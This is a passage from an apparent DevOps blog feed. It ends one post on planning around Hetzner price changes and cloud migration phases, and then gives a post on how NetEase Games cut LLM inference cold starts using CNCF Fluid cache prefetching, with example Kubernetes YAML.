          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Set lower TTLs before the cutover window:</p>
<pre><code class="hljs language-text">api.example.com. 300 IN A 203.0.113.10
</code></pre><p>Do this before you need it. A five-minute TTL does not help if resolvers cached yesterday&#39;s one-day TTL.</p>
<h3 id="h3-phase-4-move-stateless-services-before-databases" class="group relative scroll-mt-24">
        <a href="#h3-phase-4-move-stateless-services-before-databases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Phase 4: Move stateless services before databases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-phase-4-move-stateless-services-before-databases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Move app instances first when possible. Keep the database in place, connect across providers temporarily, and measure latency. That gives you a safer rollback path than moving compute and data at the same time.</p>
<h3 id="h3-phase-5-move-state-last" class="group relative scroll-mt-24">
        <a href="#h3-phase-5-move-state-last" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Phase 5: Move state last
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-phase-5-move-state-last"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Only move databases after you have:</p>
<ul>
<li>A recent restore test</li>
<li>A write-freeze or replication plan</li>
<li>A rollback point</li>
<li>Application-level health checks</li>
<li>A clear error-budget agreement</li>
</ul>
<h2 id="h2-when-staying-is-the-right-call" class="group relative scroll-mt-24">
        <a href="#h2-when-staying-is-the-right-call" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          When Staying Is the Right Call
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-when-staying-is-the-right-call"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Staying with Hetzner may still be the best answer.</p>
<p>Stay if:</p>
<ul>
<li>Your existing contracts are not affected and the workload is stable.</li>
<li>The workload uses dedicated hardware efficiently.</li>
<li>Migration risk is higher than likely savings.</li>
<li>You depend on Hetzner-specific networking, locations, or workflows.</li>
<li>Your team does not have time to validate another provider properly.</li>
</ul>
<p>FinOps is not &quot;move providers whenever prices change.&quot; It is knowing which assumptions changed and which ones did not.</p>
<h2 id="h2-what-to-watch-on-june-15" class="group relative scroll-mt-24">
        <a href="#h2-what-to-watch-on-june-15" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What to Watch on June 15
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-to-watch-on-june-15"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>When Hetzner publishes the final prices, check:</p>
<ul>
<li>Cloud plan prices by region</li>
<li>Dedicated server monthly prices under the new <code>-1</code>, <code>-2</code>, <code>-3</code>, and <code>-1-Ltd</code> structure</li>
<li>Setup fee reductions versus monthly increases</li>
<li>Rescale behavior for existing cloud servers</li>
<li>Whether limited products affect capacity planning</li>
<li>Differences between Germany, Finland, Singapore, and US locations</li>
</ul>
<p>Then update the exposure report with real numbers.</p>
<h2 id="h2-bottom-line" class="group relative scroll-mt-24">
        <a href="#h2-bottom-line" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Bottom Line
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-bottom-line"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Hetzner&#39;s latest announcement is not automatically a migration trigger. It is a planning trigger.</p>
<p>If your fleet is stable, you may only need to document terms and wait for the final price table. If your workloads resize often, run close to margin, or depend on cheap disposable capacity, model the impact now.</p>
<p>The practical response is simple: know what is exposed, prove your backups, test one fallback path, and avoid making a rushed provider decision on June 15.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[How NetEase Games Cut LLM Cold Starts From 42 Minutes to 30 Seconds Using Fluid]]></title>
      <link>https://devops.anhp.site/posts/netease-fluid-30-second-llm-cold-starts-kubernetes</link>
      <description><![CDATA[NetEase Games published a Kubernetes case study walking through how they took their serverless GPU inference cold-start time from 42 minutes down to under 30 seconds. The bottleneck isn't the GPU. It's the 60GB model weights crossing a region. Here is what they did with the CNCF Fluid project and how to apply the same pattern even if you are not on Kubernetes.]]></description>
      <pubDate>Tue, 26 May 2026 11:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/netease-fluid-30-second-llm-cold-starts-kubernetes</guid>
      <category><![CDATA[Kubernetes]]></category>
      
      <category><![CDATA[Kubernetes]]></category><category><![CDATA[DevOps]]></category><category><![CDATA[AI]]></category><category><![CDATA[GPU]]></category><category><![CDATA[CNCF]]></category>
      <content:encoded><![CDATA[<p>NetEase Games published a case study on the CNCF blog last week walking through how they took serverless LLM inference cold-start times from a wince-inducing 42 minutes down to roughly 30 seconds. The framing line in the post is the one worth taping above your desk: <strong>&quot;elastic compute is only useful if data can move just as fast.&quot;</strong> If you run inference workloads on Kubernetes and you have ever waited for a model to &quot;warm up&quot; on a fresh pod, you have hit this wall.</p>
<p>The interesting thing about the case study isn&#39;t the headline 84x speedup. It&#39;s the staircase. They publish four numbers, each a different architecture, each a meaningful intermediate stop. The path looks like this:</p>
<pre><code class="hljs language-text">Cross-region direct access from S3-like storage    : 42 minutes
Traditional cache layer (raw Alluxio)              : 14 minutes
Fluid-based prefetching                            :  3 minutes
Production-tuned Fluid with proactive warmup       : 30 seconds (sometimes under)
</code></pre><p>Each step is a different bet about where the bottleneck actually is. This post walks through the bets, why they paid off, and what patterns transfer to your stack if you are not running NetEase&#39;s exact architecture.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TL;DR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>A modern LLM serving pod has to pull tens of GB of model weights before it can answer a single request. That pull is the cold-start. The GPU is sitting idle the whole time.</li>
<li>Direct pulls from object storage across a region are bandwidth-and-latency bound. 42 minutes is what you get if you assume cloud-native means &quot;let the storage layer handle it.&quot;</li>
<li>A naive Alluxio cache in front of the storage cuts 3x. A naive cache is not enough.</li>
<li>Fluid is a CNCF project (incubating) that wraps Alluxio (or JindoCache, or JuiceFS) with a dataset CRD, scheduled prefetch workflows, and CSI/sidecar injection. The wrapper is the value, not the cache.</li>
<li>The last 10x came from proactive warmup, treating the dataset as a workload to schedule rather than a side concern.</li>
<li>You can apply most of this pattern without Fluid if you are not on Kubernetes. The principles are: place the cache on the inference node, warm the cache before the pod starts, and treat model weights as a first-class artifact, not a runtime dependency.</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>A workload where cold-start matters. Production inference, autoscaling LLM endpoints, serverless GPU jobs.</li>
<li>Models in the 10-100GB range. The numbers below scale linearly with weight size.</li>
<li>Familiarity with Kubernetes manifests and PV/PVC if you want to apply Fluid directly. The principles section at the end is K8s-agnostic.</li>
</ul>
<h2 id="h2-why-the-cold-start-is-42-minutes-in-the-first-place" class="group relative scroll-mt-24">
        <a href="#h2-why-the-cold-start-is-42-minutes-in-the-first-place" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why the cold start is 42 minutes in the first place
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-the-cold-start-is-42-minutes-in-the-first-place"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A serverless LLM endpoint goes through this on every scale-up:</p>
<ol>
<li>Scheduler places a pod on a node with a free GPU.</li>
<li>Container image pulls (a few GB if you&#39;re disciplined, 20+ GB if you&#39;ve bundled CUDA libraries badly).</li>
<li>The container starts, the runtime initializes, and the model loading code tries to open the weights.</li>
<li>The weights are not on the local disk. They are in S3, GCS, or an internal object store, maybe in a different region from the GPU node.</li>
<li>The model loader streams 30-60 GB across that network link, decodes the shards, and copies them into GPU memory.</li>
<li>First request can finally be served.</li>
</ol>
<p>The cross-region throughput on cloud object storage is realistically 200-400 MB/s sustained from a single client. A 60 GB model at 300 MB/s is 3.5 minutes if everything goes perfectly. In practice, you also get retries, redirect overhead, multi-shard sequential reads, and the model loader doing extra work (verifying checksums, building a tokenizer&#39;s vocab, allocating GPU memory in chunks). 42 minutes is the realistic worst case when the model is on the other side of a continent and nobody has thought about warming a cache.</p>
<h2 id="h2-bet-1-put-a-cache-layer-in-front-of-object-storage" class="group relative scroll-mt-24">
        <a href="#h2-bet-1-put-a-cache-layer-in-front-of-object-storage" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Bet 1: put a cache layer in front of object storage
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-bet-1-put-a-cache-layer-in-front-of-object-storage"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Step one is the textbook fix. Put <a href="https://www.alluxio.io/">Alluxio</a> (or any distributed cache) in front of your object store. The first pod that wants a model pulls it once, subsequent pods on the cluster get it from the local cache cluster instead of crossing the region.</p>
<p>NetEase measured this at 14 minutes. Still painful, but 3x better. The reason a raw Alluxio cluster doesn&#39;t get you all the way to 30 seconds is the cache doesn&#39;t know which models to warm. If the first cold-start of the day is what triggers the cache fill, the first user still waits 42 minutes. Every subsequent pod for the same model is fast, but the moment you autoscale to a new model variant or your fleet horizontally scales, you&#39;re back at step one.</p>
<p>The conclusion the team arrived at is the same conclusion every serious LLM inference platform reaches: <strong>caches that are passive are not good enough.</strong> You have to know what you&#39;re going to need and start moving it ahead of time.</p>
<h2 id="h2-bet-2-fluid-as-the-dataset-crd-on-top-of-the-cache" class="group relative scroll-mt-24">
        <a href="#h2-bet-2-fluid-as-the-dataset-crd-on-top-of-the-cache" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Bet 2: Fluid as the dataset CRD on top of the cache
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-bet-2-fluid-as-the-dataset-crd-on-top-of-the-cache"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><a href="https://github.com/fluid-cloudnative/fluid">Fluid</a> is a CNCF incubating project that does something subtle. It treats datasets as Kubernetes-native objects. You declare a <code>Dataset</code> and a <code>Runtime</code> resource, and Fluid orchestrates the cache layer, scheduling, and pod-to-cache binding for you.</p>
<p>A minimal Fluid setup looks like this:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">data.fluid.io/v1alpha1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Dataset</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">llama-3-70b</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">mounts:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">mountPoint:</span> <span class="hljs-string">s3://models.example/llama-3-70b/</span>
      <span class="hljs-attr">name:</span> <span class="hljs-string">weights</span>
  <span class="hljs-attr">accessModes:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">ReadOnlyMany</span>
<span class="hljs-meta">---</span>
<span class="hljs-attr">apiVersion:</span> <span class="hljs-string">data.fluid.io/v1alpha1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">AlluxioRuntime</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">llama-3-70b</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">replicas:</span> <span class="hljs-number">3</span>                   <span class="hljs-comment"># how many cache workers</span>
  <span class="hljs-attr">tieredstore:</span>
    <span class="hljs-attr">levels:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">mediumtype:</span> <span class="hljs-string">SSD</span>
        <span class="hljs-attr">path:</span> <span class="hljs-string">/mnt/cache</span>
        <span class="hljs-attr">quota:</span> <span class="hljs-string">200Gi</span>
</code></pre><p>Two YAMLs and Fluid spins up a cache cluster on the nodes you specify, mounts the S3 bucket behind it, and exposes a PVC your inference pods can mount as if the weights were already on the local disk. The CSI driver Fluid registers handles the &quot;make this look like a local mount&quot; part.</p>
<p>Where Fluid earns its 14-minute-to-3-minute win is the <strong>prefetch workflow</strong>. You can declare a <code>DataLoad</code> resource that says &quot;warm this dataset into the cache on a schedule&quot; or &quot;warm it whenever a webhook fires&quot;. When a new pod requests the weights, the data is already in the local cache cluster, not still being pulled from S3.</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">data.fluid.io/v1alpha1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">DataLoad</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">warm-llama</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">dataset:</span>
    <span class="hljs-attr">name:</span> <span class="hljs-string">llama-3-70b</span>
    <span class="hljs-attr">namespace:</span> <span class="hljs-string">inference</span>
  <span class="hljs-attr">loadMetadata:</span> <span class="hljs-literal">true</span>
  <span class="hljs-attr">target:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">path:</span> <span class="hljs-string">/</span>
      <span class="hljs-attr">replicas:</span> <span class="hljs-number">3</span>
</code></pre><p>The 3-minute number is what you get with Fluid orchestrating a warm cache but the pod still doing the actual weight read at startup. The cache is on the same network as the GPU, but the bytes still have to traverse the host network and load into the model loader process.</p>
<h2 id="h2-bet-3-proactive-warmup-treating-data-as-a-workload" class="group relative scroll-mt-24">
        <a href="#h2-bet-3-proactive-warmup-treating-data-as-a-workload" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Bet 3: proactive warmup, treating data as a workload
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-bet-3-proactive-warmup-treating-data-as-a-workload"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The last 10x is the one that takes engineering judgment. The NetEase post highlights three capabilities Fluid provides for this stage:</p>
<ul>
<li><strong>Scheduled, event-driven, and proactive warmup.</strong> The cache fills before any pod requests it. The warmup itself runs as a workload, with its own resource requests and priority.</li>
<li><strong>CSI- and Sidecar-based access patterns.</strong> Critical for letting an inference pod consume a dataset that lives in a different namespace, without copying or duplicating the data.</li>
<li><strong>Cross-namespace dataset sharing with logical isolation.</strong> One team&#39;s <code>Dataset</code> resource can be referenced by another team&#39;s pods, but with the access controls staying intact.</li>
</ul>
<p>The pattern that gets you to 30 seconds (or under) is to treat model warmup as a deployment concern, not a runtime concern:</p>
<ol>
<li>When you publish a new model version, you also schedule a <code>DataLoad</code> that warms it across the inference cluster&#39;s cache nodes.</li>
<li>The warmup completes before any pod requesting that model is scheduled.</li>
<li>The Kubernetes scheduler co-locates the inference pod with a cache node that has the weights resident.</li>
<li>The pod&#39;s only cold-path is the local-disk read + GPU memory copy, which on modern NVMe + PCIe is a few seconds for tens of GB.</li>
</ol>
<p>The mental shift is from &quot;lazy load on demand&quot; to &quot;the data is already there because we put it there.&quot; This is the same shift CDNs went through in the 2010s. The cache fills are not the user&#39;s problem.</p>
<h2 id="h2-what-the-case-study-doesnt-tell-you" class="group relative scroll-mt-24">
        <a href="#h2-what-the-case-study-doesnt-tell-you" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What the case study doesn't tell you
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-the-case-study-doesnt-tell-you"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A few things worth being honest about because the post glosses over them:</p>
<ul>
<li><strong>They didn&#39;t say what model sizes.</strong> &quot;30 seconds&quot; is for some workload they measured. If your model is 7B parameters (~14GB) you&#39;ll do better. If it&#39;s 405B parameters (~800GB), even Fluid can&#39;t make that fit on a single cache node.</li>
<li><strong>They didn&#39;t say what GPU types.</strong> PCIe 4 versus PCIe 5 versus the NVLink-attached HBM on modern accelerators changes the &quot;weight-load-into-GPU-memory&quot; portion of the cold path by 3-5x.</li>
<li><strong>They didn&#39;t share the actual Fluid YAML they run in production.</strong> The snippets above are minimal-viable shapes from Fluid&#39;s docs, not NetEase&#39;s actual config. Production setups have priorities, taints, resource quotas, and observability hooks that aren&#39;t in the case study.</li>
</ul>
<p>That&#39;s normal for an end-user post; the architectural takeaway is what&#39;s portable, not the exact tuning.</p>
<h2 id="h2-how-to-apply-the-pattern-without-fluid" class="group relative scroll-mt-24">
        <a href="#h2-how-to-apply-the-pattern-without-fluid" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How to apply the pattern without Fluid
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-to-apply-the-pattern-without-fluid"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you&#39;re not on Kubernetes, the principles still transfer:</p>
<ol>
<li><strong>Put the cache on the inference node, not across the network.</strong> Local NVMe at 7 GB/s reads beats network-attached storage at 1-2 GB/s by 3-5x.</li>
<li><strong>Warm the cache before the pod starts.</strong> Tie cache warming to your CI/CD pipeline. When a new model version ships, the deploy step is <code>(a) push weights to object storage</code> AND <code>(b) push a warmup job to every inference region</code>. Both run before any traffic is routed to the new version.</li>
<li><strong>Treat model weights as a first-class artifact.</strong> They are not configuration. They are not a runtime dependency. They are a build artifact with their own versioning, signing, and distribution path. Sign them with the same tooling you sign container images (cosign + Sigstore both support arbitrary blobs).</li>
<li><strong>If you&#39;re on serverless GPU (Modal, RunPod, Beam, Lambda Labs, Cerebrium, Replicate), check the warm-pool feature.</strong> Every credible serverless GPU vendor in 2026 has a &quot;keep N instances pre-loaded&quot; knob. Pay the holding cost; the cold-start fix isn&#39;t worth the engineering time for a workload that hits cold pods a handful of times a day.</li>
<li><strong>Measure where your cold start actually goes.</strong> A simple <code>kubectl describe pod</code> + <code>kubectl logs --previous</code> for a cold-started inference pod will tell you whether you&#39;re 90% on weight load or 90% on image pull. The fix is different for each.</li>
</ol>
<h2 id="h2-why-this-matters-beyond-llm-inference" class="group relative scroll-mt-24">
        <a href="#h2-why-this-matters-beyond-llm-inference" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why this matters beyond LLM inference
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-this-matters-beyond-llm-inference"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The same pattern applies anywhere a workload needs a large blob of data to start. Big data jobs reading TB-scale datasets, video transcoders pulling reference assets, simulation workloads that need GIS data, security tools pulling threat intel snapshots. The cost of &quot;lazy load from object storage&quot; goes up linearly with the size of the blob and the distance to it. The cost of &quot;warm cache, locality-aware scheduling&quot; stays flat.</p>
<p>Fluid is doing for data-intensive workloads what Kubernetes already did for compute: making placement, scheduling, and lifecycle into first-class concerns instead of operational accidents. The graduation path the project is on (incubating today, likely graduating in 2027) is worth tracking if any of your workloads cold-start on more than a few hundred MB of data.</p>
<h2 id="h2-summary" class="group relative scroll-mt-24">
        <a href="#h2-summary" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Summary
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-summary"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>NetEase Games turned a 42-minute inference cold start into 30 seconds by stopping treating model weights as something to lazy-load from object storage at runtime. The CNCF Fluid project gave them the Kubernetes-native primitives (Dataset, Runtime, DataLoad) to make cache warming a deployment concern instead of a runtime gamble. The principles transfer to any large-blob cold-start problem, with or without Kubernetes.</p>
<p>If your LLM endpoint takes more than a minute to come online, the bottleneck is almost certainly weight loading, and the fix is almost certainly cache + locality + proactive warmup. Spend a sprint measuring where the time actually goes, then borrow whichever piece of this pattern matches your stack.</p>
<p>Sources:</p>
<ul>
<li><a href="https://www.cncf.io/blog/2026/05/21/how-netease-games-achieved-30-second-llm-cold-starts-on-kubernetes/">NetEase Games + Fluid case study (CNCF blog)</a></li>
